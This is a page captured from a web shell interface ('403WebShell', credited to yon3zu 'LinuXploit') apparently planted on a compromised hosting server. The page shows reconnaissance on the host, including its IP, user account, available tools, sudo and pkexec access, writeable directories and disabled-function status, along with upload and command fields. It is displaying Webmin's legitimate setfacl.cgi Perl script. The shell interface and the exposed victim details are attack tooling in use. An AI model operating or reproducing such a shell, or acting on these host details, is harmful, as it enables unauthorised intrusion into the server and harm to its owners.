Uname:Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64

Base Dir : /home/iscmbt-kufa-atu/public_html

User : iscmbt-kufa-atu


403WebShell
403Webshell
Server IP : 89.117.53.150  /  Your IP : 216.73.216.11
Web Server : Apache
System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : iscmbt-kufa-atu ( 1014)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/filemin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/filemin/setfacl.cgi
#!/usr/bin/perl

require './filemin-lib.pl';
&ReadParse();
get_paths();

# Files to work on (arr)
my @files = split(/\0/, $in{'name'});
# Action
my $action = $in{'action'};
# Permission
my $perms = $in{'perms'};
# User
my $user = $in{'user'};
# Group
my $group = $in{'group'};
# Recursive
my $recursive = $in{'recursive'} ? " -R" : "";
# Manual
my $extra = $in{'manual'};
# Apply to (arr)
my @apply_to = split(/\0/, $in{'apply_to'});

# Delete doesn't allow perms
$perms = "" if ($action eq '-x');

# Build params
my @types;
foreach my $type (@apply_to) {
	if ($user && $type eq 'u') {
		push(@types, "u:${user}:${perms}");
		}
	if ($group && $type eq 'g') {
		push(@types, "g:${group}:${perms}");
		}
	if ($type =~ /^m|o$/) {
		push(@types, "${type}::${perms}");
		}
	}
my $cmd = &has_command('setfacl');
error($text{'acls_error'}) if (!$cmd);

# Params are not accepted in clear mode
my $types;
if ($action ne '-b' && $action ne '-k') {
	$types = quotemeta(join(',',@types))
		if (@types);
	if ($extra) {
		my @extra = split(/\s/, $extra);
		@extra = map { quotemeta($_) } @extra;
		$types .= " ".join(' ', @extra);
		}
	}
my $args = quotemeta($action).
	" ".$types." ".$recursive;
$args =~ s/\s+/ /g;
$args = &trim($args);
foreach my $file (@files) {
	my $full = &validate_filename_path($file);
	my $qfile = quotemeta($full);
	next if (!-r $full);
	my $fullcmd = "$cmd $args $qfile";
	my $out = &backquote_logged(
		"$fullcmd 2>&1 >/dev/null </dev/null");
	if ($?) {
		$out =~ s/^setfacl: //;
		&error(&html_escape(
			"$cmd $args $full : $out"));
		}
	}

&redirect("index.cgi?path=".&urlize($path));

Youez - 2016 - github.com/yon3zu
LinuXploit